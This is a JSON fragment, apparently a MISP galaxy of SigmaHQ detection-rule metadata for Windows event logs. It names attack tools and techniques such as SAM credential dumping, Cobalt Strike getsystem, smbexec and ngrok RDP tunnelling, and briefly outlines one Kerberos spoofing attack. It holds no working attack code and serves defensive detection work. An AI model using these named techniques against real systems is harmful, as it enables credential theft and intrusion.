        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_new_job_via_bitsadmin.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.t1197"
        ]
      },
      "related": [
        {
          "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
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      ],
      "uuid": "1ff315dc-2a3a-4b71-8dde-873818d25d39",
      "value": "New BITS Job Created Via Bitsadmin"
    },
    {
      "description": "Detects BITS transfer job downloading files from a file sharing domain.",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/06/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_bits_client_new_transfer_via_file_sharing_domains.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker",
          "https://twitter.com/malmoeb/status/1535142803075960832",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_new_transfer_via_file_sharing_domains.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.persistence",
          "attack.t1197"
        ]
      },
      "related": [
        {
          "dest-uuid": "c8e87b83-edbb-48d4-9295-4974897525b7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d635249d-86b5-4dad-a8c7-d7272b788586",
      "value": "BITS Transfer Job Download From File Sharing Domains"
    },
    {
      "description": "Detects when an application acquires a certificate private key",
      "meta": {
        "author": "Zach Mathis",
        "creation_date": "2023/05/13",
        "falsepositive": [
          "Legitimate application requesting certificate exports will trigger this. Apply additional filters as needed"
        ],
        "filename": "win_capi2_acquire_certificate_private_key.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.splunk.com/en_us/blog/security/breaking-the-chain-defending-against-certificate-services-abuse.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/capi2/win_capi2_acquire_certificate_private_key.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1649"
        ]
      },
      "related": [
        {
          "dest-uuid": "7de1f7ac-5d0c-4c9c-8873-627202205331",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "e2b5163d-7deb-4566-9af3-40afea6858c3",
      "value": "Certificate Private Key Acquired"
    },
    {
      "description": "Detects cases in which ngrok, a reverse proxy tool, forwards events to the local RDP port, which could be a sign of malicious behaviour",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/04/29",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_terminalservices_rdp_ngrok.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/tekdefense/status/1519711183162556416?s=12&t=OTsHCBkQOTNs1k3USz65Zg",
          "https://ngrok.com/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/terminalservices/win_terminalservices_rdp_ngrok.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1090"
        ]
      },
      "related": [
        {
          "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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      ],
      "uuid": "64d51a51-32a6-49f0-9f3d-17e34d640272",
      "value": "Ngrok Usage with Remote Desktop Service"
    },
    {
      "description": "Detects when a DNS zone transfer failed.",
      "meta": {
        "author": "Zach Mathis",
        "creation_date": "2023/05/24",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "win_dns_server_failed_dns_zone_transfer.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://kb.eventtracker.com/evtpass/evtpages/EventId_6004_Microsoft-Windows-DNS-Server-Service_65410.asp",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_server/win_dns_server_failed_dns_zone_transfer.yml"
        ],
        "tags": [
          "attack.reconnaissance",
          "attack.t1590.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "0ff59227-8aa8-4c09-bf1f-925605bd07ea",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6d444368-6da1-43fe-b2fc-44202430480e",
      "value": "Failed DNS Zone Transfer"
    },
    {
      "description": "Detects a DNS server error in which a specified plugin DLL (in registry) could not be loaded",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/05/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_dns_server_susp_server_level_plugin_dll.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://technet.microsoft.com/en-us/library/cc735829(v=ws.10).aspx",
          "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83",
          "https://twitter.com/gentilkiwi/status/861641945944391680",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_server/win_dns_server_susp_server_level_plugin_dll.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1574.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      "uuid": "cbe51394-cd93-4473-b555-edf0144952d9",
      "value": "DNS Server Error Failed Loading the ServerLevelPluginDLL"
    },
    {
      "description": "Detects Windows update errors including installation failures and connection issues. Defenders should observe this in case critical update KB aren't installed.",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_susp_system_update_error.yml",
        "level": "informational",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_windows_update_client/win_system_susp_system_update_error.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.resource_development",
          "attack.t1584"
        ]
      },
      "related": [
        {
          "dest-uuid": "7e3beebd-8bfe-4e7b-a892-e44ab06a75f9",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "13cfeb75-9e33-4d04-b0f7-ab8faaa95a59",
      "value": "Windows Update Error"
    },
    {
      "description": "Detects suspicious SAM dump activity as cause by QuarksPwDump and other password dumpers",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2018/01/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_susp_sam_dump.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_kernel_general/win_system_susp_sam_dump.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "839dd1e8-eda8-4834-8145-01beeee33acd",
      "value": "SAM Dump to AppData"
    },
    {
      "description": "Detects QuarksPwDump clearing access history in hive",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/05/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_quarkspwdump_clearing_hive_access_history.yml",
        "level": "critical",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_kernel_general/win_system_quarkspwdump_clearing_hive_access_history.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.002"
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      },
      "related": [
        {
          "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "39f919f3-980b-4e6f-a975-8af7e507ef2b",
      "value": "QuarksPwDump Clearing Access History"
    },
    {
      "description": "Detect suspicious error on protocol RDP, potential CVE-2019-0708",
      "meta": {
        "author": "Lionel PRAT, Christophe BROCAS, @atc_project (improvements)",
        "creation_date": "2019/05/24",
        "falsepositive": [
          "Bad connections or network interruptions"
        ],
        "filename": "win_system_rdp_potential_cve_2019_0708.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/zerosum0x0/CVE-2019-0708",
          "https://github.com/Ekultek/BlueKeep",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/termdd/win_system_rdp_potential_cve_2019_0708.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.t1210",
          "car.2013-07-002"
        ]
      },
      "related": [
        {
          "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "aaa5b30d-f418-420b-83a0-299cb6024885",
      "value": "Potential RDP Exploit CVE-2019-0708"
    },
    {
      "description": "Detects volume shadow copy mount via Windows event log",
      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)",
        "creation_date": "2020/10/20",
        "falsepositive": [
          "Legitimate use of volume shadow copy mounts (backups maybe)."
        ],
        "filename": "win_system_volume_shadow_copy_mount.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_ntfs/win_system_volume_shadow_copy_mount.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011",
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          ],
          "type": "related-to"
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      ],
      "uuid": "f512acbf-e662-4903-843e-97ce4652b740",
      "value": "Volume Shadow Copy Mount"
    },
    {
      "description": "During exploitation of this vulnerability, two logs (Provider_Name:Microsoft-Windows-User Profiles Service) with EventID 1511 and 1515 (maybe lot of false positives with this event) are created. Moreover, it appears the directory \\Users\\TEMP is created may be created during the exploitation. Viewed on 2008 Server",
      "meta": {
        "author": "Cybex",
        "creation_date": "2022/08/16",
        "falsepositive": [
          "Corrupted user profiles - https://social.technet.microsoft.com/wiki/contents/articles/3571.windows-user-profiles-service-event-1511-windows-cannot-find-the-local-profile-and-is-logging-you-on-with-a-temporary-profile.aspx"
        ],
        "filename": "win_system_susp_vuln_cve_2022_21919_or_cve_2021_34484.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://packetstormsecurity.com/files/166692/Windows-User-Profile-Service-Privlege-Escalation.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_user_profiles_service/win_system_susp_vuln_cve_2022_21919_or_cve_2021_34484.yml"
        ],
        "tags": [
          "attack.execution"
        ]
      },
      "uuid": "52a85084-6989-40c3-8f32-091e12e17692",
      "value": "Suspicious Usage of CVE_2021_34484 or CVE 2022_21919"
    },
    {
      "description": "This the exploitation of a NTFS vulnerability as reported without many details via Twitter",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/01/11",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "win_system_ntfs_vuln_exploit.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/wdormann/status/1347958161609809921",
          "https://twitter.com/jonasLyk/status/1347900440000811010",
          "https://www.bleepingcomputer.com/news/security/windows-10-bug-corrupts-your-hard-drive-on-seeing-this-files-icon/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/ntfs/win_system_ntfs_vuln_exploit.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1499.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "0df05477-c572-4ed6-88a9-47c581f548f7",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f14719ce-d3ab-4e25-9ce6-2899092260b0",
      "value": "NTFS Vulnerability Exploitation"
    },
    {
      "description": "Detects the invocation of TabTip via CLSID as seen when JuicyPotatoNG is used on a system in brute force mode",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/10/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_lpe_indicators_tabtip.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/antonioCoco/JuicyPotatoNG",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_distributed_com/win_system_lpe_indicators_tabtip.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1557.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "bc2e25ed-b92b-4daa-b074-b502bdd1982b",
      "value": "Local Privilege Escalation Indicator TabTip"
    },
    {
      "description": "Detects the reporting of NTLMv1 being used between a client and server. NTLMv1 is insecure as the underlying encryption algorithms can be brute-forced by modern hardware.",
      "meta": {
        "author": "Tim Shelton, Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/04/26",
        "falsepositive": [
          "Environments that use NTLMv1"
        ],
        "filename": "win_system_lsasrv_ntlmv1.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/nasbench/EVTX-ETW-Resources/blob/f1b010ce0ee1b71e3024180de1a3e67f99701fe4/ETWProvidersManifests/Windows10/22H2/W10_22H2_Pro_20230321_19045.2728/WEPExplorer/LsaSrv.xml",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/lsasrv/win_system_lsasrv_ntlmv1.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.lateral_movement",
          "attack.t1550.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e9d4ab66-a532-4ef7-a502-66a9e4a34f5d",
      "value": "NTLMv1 Logon Between Client and Server"
    },
    {
      "description": "The attacker creates a computer object using those permissions with a password known to her.\nAfter that she clears the attribute ServicePrincipalName on the computer object.\nBecause she created the object (CREATOR OWNER), she gets granted additional permissions and can do many changes to the object.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_exploit_cve_2021_42287.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_directory_services_sam/win_system_exploit_cve_2021_42287.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1558.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e80a0fee-1a62-4419-b31e-0d0db6e6013a",
      "value": "Potential CVE-2021-42287 Exploitation Attempt"
    },
    {
      "description": "Detects the use of smbexec.py tool by detecting a specific service installation",
      "meta": {
        "author": "Omer Faruk Celik",
        "creation_date": "2018/03/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_hack_smbexec.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/",
          "https://github.com/fortra/impacket/blob/edef71f17bc1240f9f8c957bbda98662951ac3ec/examples/smbexec.py#L60",
          "https://github.com/fortra/impacket/blob/33058eb2fde6976ea62e04bc7d6b629d64d44712/examples/smbexec.py#L286-L296",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_hack_smbexec.yml"
        ],
        "tags": [
          "attack.lateral_movement",
          "attack.execution",
          "attack.t1021.002",
          "attack.t1569.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "52a85084-6989-40c3-8f32-091e12e13f09",
      "value": "smbexec.py Service Installation"
    },
    {
      "description": "Detects Obfuscated Powershell via Stdin in Scripts",
      "meta": {
        "author": "Nikita Nazarov, oscd.community",
        "creation_date": "2020/10/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_invoke_obfuscation_via_stdin_services.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_via_stdin_services.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "487c7524-f892-4054-b263-8a0ace63fc25",
      "value": "Invoke-Obfuscation Via Stdin - System"
    },
    {
      "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation",
      "meta": {
        "author": "Teymur Kheirkhabarov, Ecco, Florian Roth",
        "creation_date": "2019/10/26",
        "falsepositive": [
          "Highly unlikely"
        ],
        "filename": "win_system_meterpreter_or_cobaltstrike_getsystem_service_installation.yml",
        "level": "critical",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/",
          "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_meterpreter_or_cobaltstrike_getsystem_service_installation.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1134.001",
          "attack.t1134.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "843544a7-56e0-4dcc-a44f-5cc266dd97d6",
      "value": "Meterpreter or Cobalt Strike Getsystem Service Installation - System"
    },
    {
      "description": "Detects a service installation that uses a suspicious double ampersand used in the image path value",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/07/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_service_install_susp_double_ampersand.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_susp_double_ampersand.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "ca83e9f3-657a-45d0-88d6-c1ac280caf53",
      "value": "New Service Uses Double Ampersand in Path"
    },
    {
      "description": "Detects service installation of different remote access tools software. These software are often abused by threat actors to perform",
      "meta": {
        "author": "Connor Martin, Nasreddine Bencherchali",
        "creation_date": "2022/12/23",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_service_install_remote_access_software.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/blog/misbehaving-rats/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_remote_access_software.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1543.003",
          "attack.t1569.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1a31b18a-f00c-4061-9900-f735b96c99fc",
      "value": "Remote Access Tool Services Have Been Installed - System"
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      "description": "Detects the installation of the anydesk software service. Which could be an indication of anydesk abuse if you the software isn't already used.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
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        "falsepositive": [
          "Legitimate usage of the anydesk tool"
        ],
        "filename": "win_system_service_install_anydesk.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_anydesk.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "530a6faa-ff3d-4022-b315-50828e77eef5",
      "value": "Anydesk Remote Access Software Service Installation"
    },
    {
      "description": "Detects important or interesting Windows services that got terminated unexpectedly.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/04/14",
        "falsepositive": [
          "Rare false positives could occur since service termination could happen due to multiple reasons"
        ],
        "filename": "win_system_service_terminated_unexpectedly.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.randori.com/blog/vulnerability-analysis-queuejumper-cve-2023-21554/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_terminated_unexpectedly.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "56abae0c-6212-4b97-adc0-0b559bb950c3",
      "value": "Important Windows Service Terminated Unexpectedly"
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    {
      "description": "Detects PDQDeploy service installation on the target system.\nWhen a package is deployed via PDQDeploy it installs a remote service on the target machine with the name \"PDQDeployRunner-X\" where \"X\" is an integer starting from 1\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/22",
        "falsepositive": [
          "Legitimate use of the tool"
        ],
        "filename": "win_system_service_install_pdqdeploy_runner.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://documentation.pdq.com/PDQDeploy/13.0.3.0/index.html?windows-services.htm",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_pdqdeploy_runner.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1543.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b98a10af-1e1e-44a7-bab2-4cc026917648",
      "value": "New PDQDeploy Service - Client Side"
    },
    {
      "description": "Detects RemCom service installation and execution events",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/08/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_service_install_remcom.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/kavika13/RemCom/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_remcom.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1569.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9e36ed87-4986-482e-8e3b-5c23ffff11bf",
      "value": "RemCom Service Installation"
    },
    {
      "description": "Detects PAExec service installation",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/10/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_service_install_paexec.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.poweradmin.com/paexec/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_paexec.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1569.002"
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      },
      "related": [
        {
          "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "de7ce410-b3fb-4e8a-b38c-3b999e2c3420",
      "value": "PAExec Service Installation"
    },
    {
      "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER",
      "meta": {
        "author": "Timur Zinniatullin, oscd.community",
        "creation_date": "2020/10/18",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_invoke_obfuscation_via_rundll_services.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_via_rundll_services.yml"
        ],
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          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "11b52f18-aaec-4d60-9143-5dd8cc4706b9",
      "value": "Invoke-Obfuscation RUNDLL LAUNCHER - System"
    },
    {
      "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts",
      "meta": {
        "author": "Nikita Nazarov, oscd.community",
        "creation_date": "2020/10/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_invoke_obfuscation_via_use_rundll32_services.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_via_use_rundll32_services.yml"
        ],
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          "attack.defense_evasion",
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          "attack.t1059.001"
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      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
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      ],
      "uuid": "641a4bfb-c017-44f7-800c-2aee0184ce9b",
      "value": "Invoke-Obfuscation Via Use Rundll32 - System"
    },
    {
      "description": "Detects a service installed by a client which has PID 0 or whose parent has PID 0",
      "meta": {
        "author": "Tim Rauch",
        "creation_date": "2022/09/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "win_system_system_service_installation_by_unusal_client.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "windows",
        "refs": [
          "https://www.elastic.co/guide/en/security/current/windows-service-installed-via-an-unusual-client.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_system_service_installation_by_unusal_client.yml"
        ],
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          "attack.privilege_escalation",
          "attack.t1543"
        ]
      },
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
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        }
      ],
      "uuid": "71c276aa-49cd-43d2-b920-2dcd3e6962d5",
      "value": "Service Installed By Unusual Client - System"
    },
    {
      "description": "Detects Windows services that got terminated for whatever reason",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/04/14",
        "falsepositive": [
          "False positives could occur since service termination could happen due to multiple reasons"
        ],
        "filename": "win_system_service_terminated_error_generic.yml",
        "level": "low",
